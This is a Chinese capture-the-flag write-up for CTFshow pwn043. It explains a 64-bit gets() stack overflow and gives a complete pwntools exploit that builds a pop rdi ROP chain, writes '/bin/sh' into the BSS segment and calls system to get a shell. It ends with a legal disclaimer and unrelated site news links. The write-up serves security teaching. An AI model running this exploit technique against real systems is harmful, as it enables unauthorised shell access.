【CTFshow-pwn系列】03_栈溢出【pwn 043】详解:64位 ROP 之 自定义字符串
本文仅用于技术研究禁止用于非法用途。Author:枷锁在 PWN 042 中我们在 32 位环境下通过gets将/bin/sh写入 BSS 段成功解决了没有现成字符串的问题。来到PWN 043题目环境切换回了64位但核心难题依旧有system函数但没有/bin/sh也没有sh。我们需要复刻 042 的思路但必须适配 64 位的游戏规则——寄存器传参。这意味着我们需要构造更复杂的 ROP 链不仅要控制执行流还要频繁地使用pop rdi; ret来搬运参数。pwn 043 移花接木64位下的内存写入与执行题目信息与环境侦察题目描述pwn43: Hint: This time there is no replacement! How to do? get system parameter!解题过程首先使用checksec检查程序保护情况。Arch:amd64-64-little(64位程序)RELRO:Partial RELROStack:No canary found(无栈哨兵)NX:NX enabled(栈不可执行)PIE:No PIE(地址固定)侦察分析64位架构参数通过RDI寄存器传递。No PIEBSS 段地址固定Gadgets 地址固定。ROP 必要性由于 NX 开启且需要连续调用函数先gets后system我们需要构造 ROP 链。第一部分机制详解 —— 64位写读 ROP 链1. 攻击蓝图我们需要构造一个“两步走”的 ROP 链第一阶段写入 Payload目标调用gets(bss_addr)。参数RDI bss_addr。动作程序暂停等待输入。我们发送/bin/sh将其存入 BSS 段。第二阶段执行 Payload目标调用system(bss_addr)。参数RDI bss_addr。动作system执行刚才写入的命令。2. 关键 Gadget在 64 位下控制第一个参数RDI的神器是pop rdi ; ret我们需要多次使用它第一次是为了给gets传参第二次是为了给system传参。第二部分代码审计与漏洞挖掘1. 静态分析 (IDA Pro)Main 函数int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts(Hint: This time there is no replacement! How to do?); puts(get system parameter!); ctfshow(); return 0; }漏洞函数 ctfshow__int64 ctfshow() { _BYTE v1[10]; // [rsp6h] [rbp-Ah] BYREF // [漏洞点]gets 读取无限长字符串 // 缓冲区 v1 位于 rbp-0xA return gets(v1); }偏移量计算 根据 IDA 注释[rbp-Ah]v1距离rbp的偏移是0xA(10 字节)。覆盖返回地址所需长度 10(buf) 8(Old RBP) 18 字节。2. 寻找拼图零件System 函数题目中的hint函数调用了systemPLT 表中有记录。Gets 函数ctfshow调用了getsPLT 表中有记录。BSS 段地址 (buf2)我们需要找一块可读可写的空地。在 IDA 中查看.bss段或者直接在脚本中指定一个固定地址如0x602080。Gadget (pop rdi)使用ROPgadget寻找pop rdi; ret。第三部分实战操作与 Payload 构造1. 搜集地址systemelf.sym[system]getself.sym[gets]BSS (buf2)0x602080(确保该地址可写且不影响程序其他逻辑)pop_rdi0x4007f3(通过ROPgadget获取)2. Payload 结构解析我们需要将上述两个阶段串联起来---------------------- | Padding (18 bytes) | ---------------------- | pop rdi; ret 地址 | -- [阶段1] 准备 gets 参数 ---------------------- | buf2 地址 | -- RDI buf2 ---------------------- | gets 函数地址 | -- 调用 gets(buf2)读取输入 ---------------------- | pop rdi; ret 地址 | -- [阶段2] 准备 system 参数 ---------------------- | buf2 地址 | -- RDI buf2 (/bin/sh) ---------------------- | system 函数地址 | -- 调用 system(buf2) ----------------------(注如果远程环境遇到 system 崩溃可能需要在 system 前加一个单纯的retgadget 用于栈对齐)3. 完整 EXP 脚本from pwn import * # 1. 基础配置 context.log_level debug context.arch amd64 # 2. 建立连接 io process(./pwn) # io remote(pwn.challenge.ctf.show, 28137) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf ELF(./pwn) # 4. 准备零件 system_addr elf.sym[system] gets_addr elf.sym[gets] # 目标内存地址 (BSS段) # 可以用 elf.bss() 偏移或者硬编码 IDA 看到的地址 buf2_addr 0x602080 # 寻找 Gadget # ROPgadget --binary pwn --only pop|ret | grep rdi pop_rdi 0x4007f3 log.success(fpop_rdi: {hex(pop_rdi)}) log.success(ftarget buffer: {hex(buf2_addr)}) # 5. 构造 Payload # 偏移量 10 8 18 offset 18 payload flat([ ba * offset, # --- Stage 1: Write /bin/sh to bss --- pop_rdi, buf2_addr, # RDI buf2 gets_addr, # Call gets(buf2) # --- Stage 2: Execute system(/bin/sh) --- pop_rdi, buf2_addr, # RDI buf2 system_addr # Call system(buf2) ]) # 6. 发送 Payload # 发送 ROP 链 io.sendline(payload) # 7. 发送 /bin/sh # 这一步对应 ROP 链中的 gets(buf2) # 程序执行到 gets 时会暂停等待输入我们把字符串发过去 io.sendline(b/bin/sh) # 8. 获取 Shell io.interactive()运行结果[DEBUG] Sent 0x38 bytes: ... [DEBUG] Sent 0x8 bytes: /bin/sh\n [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}总结PWN 043 的核心逻辑维度PWN 042 (32位)PWN 043 (64位)传参方式栈传参寄存器传参 (RDI)Gadgetpop ebx; retpop rdi; ret链条结构gets pop systempop arg gets pop arg system复杂度较低中等 (需多次设置寄存器)核心启示 64 位 ROP 的本质就是不断地利用pop register; ret这类 Gadget 来模拟函数调用前的参数准备过程。 如果把栈比作弹夹那 Payload 就是精心排列的子弹第一发子弹把枪口对准 BSS 段准备写。第二发子弹开火执行写。第三发子弹把枪口对准 BSS 段准备读。第四发子弹开火执行命令。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。

相关新闻

从「AI台灯」到「低空基建」,两位硬科技创业者的逆向思考

从「AI台灯」到「低空基建」,两位硬科技创业者的逆向思考

作者|周雅在硬科技创业的牌桌上,技术居然不是那张最大的王牌?当朱庆峰在本期《原点Talk》说出“技术护城河可能是个伪命题”的观点时,空气中仿佛出现了一个短暂停顿。尤其说这话的人,是一位从AR核心光学技术圈里走出来…

2026/5/17 4:37:21 阅读更多 →
收藏 | 从0到1拆解大模型训练全流程:小白也能看懂GPT与Llama的底层逻辑

收藏 | 从0到1拆解大模型训练全流程:小白也能看懂GPT与Llama的底层逻辑

PPO(Proximal Policy Optimization,近端策略优化) 和 DPO (Direct Preference Optimization,直接偏好优化) 的核心区别在于训练范式、流程复杂度和适用场景,简单总结如下: 核心思想 PPO:一种强化学习策略梯度算法&…

2026/5/17 4:37:19 阅读更多 →
小白必看!轻松入门Transformer大模型,收藏这份学习笔记!

小白必看!轻松入门Transformer大模型,收藏这份学习笔记!

一、Transformer 背景介绍二、Transformer 核心概念 2.1、注意力机制(Attention)2.2、多头注意力(Multi-head Attention) 三、Transformer 架构原理 3.1、模型结构3.2、编码器3.3、解码器 四、Transformer 的优势 4.1、并行处理能…

2026/7/3 6:23:05 阅读更多 →

最新新闻

[MAF预定义ChatClient中间件-05]动态修改ChatOptions和请求消息

[MAF预定义ChatClient中间件-05]动态修改ChatOptions和请求消息

1. 利用ConfigureOptionsChatClient交替使用不同的模型 如下的程序演示了如何利用ConfigureOptionsChatClient中间件来动态地配置ChatOptions的ModelId属性,从而实现交替使用不同的模型来生成响应的功能。如代码片段所示,我们根据OpenAIClient创建了一个…

2026/7/5 2:24:36 阅读更多 →
Linux syslog日志权限出错

Linux syslog日志权限出错

一、Linux syslog日志权限 Linux syslog日志权限出错通常是由于文件权限设置不当或用户权限不足导致的,可通过检查日志文件权限、所有者、用户权限,以及SELinux设置来定位并解决问题。 以下是具体分析和解决步骤: 检查日志文件权限 使用 ls -…

2026/7/5 2:24:36 阅读更多 →
JWT 在线解码、验签、生成一篇讲透:附前端实现、工具架构与在线体验地址

JWT 在线解码、验签、生成一篇讲透:附前端实现、工具架构与在线体验地址

为什么后端说签名不对?HS256、RS256、ES256、PS256 到底怎么切?公钥私钥是 PEM 还是 JWK,到底该贴哪种?改了 payload 之后,怎么重新生成一个能用的 JWT?所以这篇不只讲 JWT 原理,我会直接结合这…

2026/7/5 2:22:35 阅读更多 →
强烈建议收藏!全网首发Andrey Karpathy的AI循环工作流(附复现Prompt)

强烈建议收藏!全网首发Andrey Karpathy的AI循环工作流(附复现Prompt)

循环工程:卡帕西方法——以及使其效率提升 5 倍的工作流程 大多数人使用人工智能的方式与 2005 年使用谷歌的方式相同。输入一些内容,阅读返回结果,然后再输入一次。AI 会一直待在那里什么也不做,直到你推动它—— 你就是引擎 ——…

2026/7/5 2:22:35 阅读更多 →
全友家居(邳州旗舰店)vs 大博金沙发厂多维度对比测评——品牌专卖店与源头工厂谁更值得买?

全友家居(邳州旗舰店)vs 大博金沙发厂多维度对比测评——品牌专卖店与源头工厂谁更值得买?

摘要 核心结论:在2026年邳州家具消费市场中,大博金沙发厂在全屋配套场景下的综合性价比(三室两厅配齐全屋家具总价约1.6万-2万元,较品牌专卖店低40%-60%)和交付效率(成品现货当天提货)上显著优…

2026/7/5 2:20:35 阅读更多 →
终极ComfyUI TensorRT插件指南:3-10倍AI绘画加速,释放你的RTX显卡潜能

终极ComfyUI TensorRT插件指南:3-10倍AI绘画加速,释放你的RTX显卡潜能

终极ComfyUI TensorRT插件指南:3-10倍AI绘画加速,释放你的RTX显卡潜能 【免费下载链接】ComfyUI_TensorRT 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI_TensorRT 你是否厌倦了漫长的AI图像生成等待时间?每次创作都要盯着进…

2026/7/5 2:18:34 阅读更多 →

日新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

月新闻